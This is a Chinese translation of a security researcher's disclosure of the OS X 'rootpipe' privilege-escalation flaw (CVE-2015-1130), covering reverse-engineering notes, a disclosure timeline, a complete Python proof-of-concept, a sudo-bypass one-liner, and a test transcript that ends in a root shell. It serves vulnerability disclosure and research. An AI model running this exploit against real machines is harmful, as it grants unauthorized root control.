Apple OS X系統中存在可以提升root許可權的API後門
from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/
0x00 摘要
Apple OS X系統中的Admin框架存在可以提升root許可權的API後門,並且已經存在多年(至少是從2011年開始)。我是在2014年的10月發現他可以被用來已任何使用者許可權提升為root許可權,其本意可能是要服務“System Preferences”和systemsetup(命令列工具),但是所有的使用者程式可以使用相同的功能。
蘋果剛剛釋出了OS X 10.10.3解決了此問題,但是OS X 10.9.x以及之前的版本存在此問題,因為蘋果決定不對這些版本進行修復了。我們建議所有的使用者都升級到10.10.3。
0x01 demo
我使用的第一個exp是基於CVE-2013-1775的,一個sudo認證繞過bug,這個bug已經在10.8.5(2013年9月)修復了。
exp程式碼非常的簡單:
#!bash
$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su
我跟我同事Philip Åkesson聊這個exp程式碼實際上使用了systemsetup來修改系統時間。我們一起來看了下他修復的細節,原來除了修復了sudo,Apple也同時做了另外一件事情,他們把systemsetup設定為需要root許可權,當以非root許可權執行systemsetup的時候,下面的資訊就會顯示(在10.8.5以及之後版本):
#!bash
$ systemsetup
You need administrator access to run this tool... exiting!
這個訊息其實是有點誤導的,以為我們實際上是在以管理員許可權執行,安裝OS X時候建立的使用者預設就是admin許可權。
總之,上面的訊息表明執行該命令需要root許可權,透過Hopper反彙編發現了下面的程式碼
OK,所以systemsetup二進位制檔案只是簡單的檢查了是否是root許可權。
修改了一下函式(用setne替代sete):取得了成功
#!bash
$ systemsetup
> systemsetup
> type -help for help.
到目前為止,我們只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup執行命令的一個例子:
#!bash
$ systemsetup –setremotelogin on
這將在22埠上開啟ssh服務,當然你也可以透過launchtl開啟,但是launchtl需要root許可權。所以這在許可權上還是有很明顯的區別的。
類名為RemoteServerSettings表明,有某種程式間通訊可以解釋為什麼需要root操作執行。不過還是要提一下,透過System Preferences開啟SSH服務也不需要root許可權。
我發現這種許可權的差異非常有趣,繼續反編譯systemsetup。
透過一個名字叫做[ServerSettings setRemoteLogin:]的方法實現了systemsetup中的setremotelogin命令。
函式做了一些輸入檢查,然後呼叫[InternetServices setSSHServerEnabled:],這是在Admin框架中實現。反編譯Admin框架可以看到setSSHServerEnabled並不是InternetServices介面的唯一方法,清單如下:
+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
一些例如setHttpdEnabled和setSSHServerEnabled共享一個輔助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。
繼續看Admin框架程式碼,發現:
程式碼看來是為guest賬戶建立一個使用者特定的Apache配置檔案,注意root使用者是這個檔案的擁有者:
#!bash
$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf
0x02 發現後門
上面截圖的程式碼中最後一個被呼叫的Objective-C方法是createFileWithContents:path:attributes:
他獲取一個組陣列包括位元組數,檔案路徑,檔案屬性。
自己程式碼中使用這個函式是這個樣子的:
#!bash
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];
問題在於我們如何控制“tool”,再看一看開始的程式碼截圖:
#!bash
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];
當我嘗試我自己的程式碼的時候,爆出error錯誤:
### Attempt to send message without connection!
下面找出如何出現這個錯誤的:
這是檢查XPC代理在我的程式中是否啟動,看一下_onewayMessageDispatcher來定位初始程式碼:
實際初始化的地方就是authenticateUsingAuthorization方法。
這正是我想要的,給writeconfig XPC服務建立一個XPC客戶端,並且這個服務是以root許可權執行的。
唯一的問題就是我應該給authenticateUsingAuthorization傳遞什麼引數,從systemsetup檔案當中找到如下:
看起來[SFAuthorization authorization]可以來做觸發,下面是我的新的exp:
id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];
檔案最終建立,setuid已經設定:
#!bash
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
既然setuid已經設定並且擁有者是root,我們就有有了一個提權漏洞。
上面的程式碼適用於10.9及以後版本,10.7.x和10.8.x有些類檔名略不相同。
但是上面的程式碼仍然有一個問題,只可以在admin的許可權下執行,之前提到過幾乎所有的OS X使用者都是admin。
最終找到一個適用所有使用者使用的方法,很簡單,只要把[SFAuthorization authorization]:的結果替換為傳送nil到authenticateUsingAuthorizationSync。
[sharedClient authenticateUsingAuthorizationSync: nil];
0x03 Timeline
Oct 2nd 2014: First discovery
Oct 3rd 2014: First contact with Apple Product Security Team
Oct 14th 2014: Exploit code shared with Apple
Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
Nov 14th 2014: Apple requested to postpone disclosure
Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
Jan 16th 2015: CVE-2015-1130 created by Apple
Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
April 1st 2015: Apple confirmed that release is coming the second week of April
April 8th 2015: Release of OS X 10.10.3
April 9th 2015: Full disclosure
0x04 EXP
#!python
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool
0x05 譯者測試
#!bash
[[email protected]:~]$ cp /bin/bash bashceshi
[[email protected]:~]$ python CVE-2013-1775.py bashceshi bashroot
will write file /Users/test/Downloads/bashroot
Done!
[[email protected]:~]$ ./bashroot -p
bashroot-3.2# id
uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)
相關文章
- 【Android】Phoenix OS(鳳凰系統)啟用root許可權2018-03-03Android
- 取消 root 級管理員的 root 許可權2024-08-25
- mongodb 的許可權系統2022-08-29MongoDB
- 許可權系統:一文搞懂功能許可權、資料許可權2024-11-10
- 一鍵ROOT許可權系統程式解除安裝器使用教程2020-12-17
- Vue2.0 + ElementUI 手寫許可權管理系統後臺模板(二)——許可權管理2018-12-16VueUI
- 許可權系統:許可權應用服務設計2024-11-13
- 許可權概念、許可權提升概念以及許可權提升的分類和目的 Windows 提權的基礎原理是瞭解作業系統的安全機制和許可權管理 Windows提權攻擊的進一步知識概念2024-03-12Windows作業系統
- 有贊許可權系統2018-03-16
- Android手機獲取Root許可權2020-03-14Android
- SpringSecurity許可權管理系統實戰—九、資料許可權的配置2020-08-25SpringGse
- 打造自己的系統許可權控制2020-08-24
- 許可權系統:6個許可權概念模型設計2024-11-12模型
- 許可權系統:許可權應用服務設計Tu2024-11-14
- 系統開發中許可權控制的重要性2021-11-17
- thinkphp 5.0.10開發auth後臺許可權管理系統2019-05-11PHP
- 許可權維持專題:作業系統許可權維持2021-12-05作業系統
- 企業許可權管理系統2020-08-06
- Winner許可權管理系統3.02019-05-11
- 永久開啟user版本adb root許可權2018-04-01
- 讓root使用者有super許可權2022-08-12
- 基於RBAC的許可權管理系統2020-10-25
- 解決root使用者對HDFS檔案系統沒有許可權的問題2020-10-20
- Linux系統中怎麼修改檔案許可權?2024-03-06Linux
- Linux系統中777許可權是什麼意思?2024-02-01Linux
- 分散式系統中,許可權設計實踐2021-12-06分散式
- Metasploit許可權提升全劇終2018-07-06
- 你不知道的前端·許可權控制篇 之 中後臺系統——故事化2019-12-31前端
- MySQL資料庫Root許可權MOF方法提權研究2018-07-06MySql資料庫
- Bauth許可權系統,基於ThinkPHP5開發 - 一個優秀的整合許可權管理的通用後臺2019-05-11PHP
- vue後臺管理系統許可權控制思考與實踐2018-12-17Vue
- vue後臺管理系統學習(6)--路由和許可權2019-09-21Vue路由
- 通過 VirtualApp 實現免 Root 許可權 Hook2019-01-22APPHook
- artisan日誌 root 許可權解決辦法2019-04-02
- CentOS 新建使用者並授予root許可權2020-10-04CentOS
- Metasploit之後滲透攻擊(資訊收集、許可權提升)2020-09-28
- 基於 Spring Security 的前後端分離的許可權控制系統2021-06-19Spring後端
- 在 Deepin23 系統中,如何使用管理員身份(root 許可權)執行圖形介面程式(AvaloniaApp)2024-10-30APP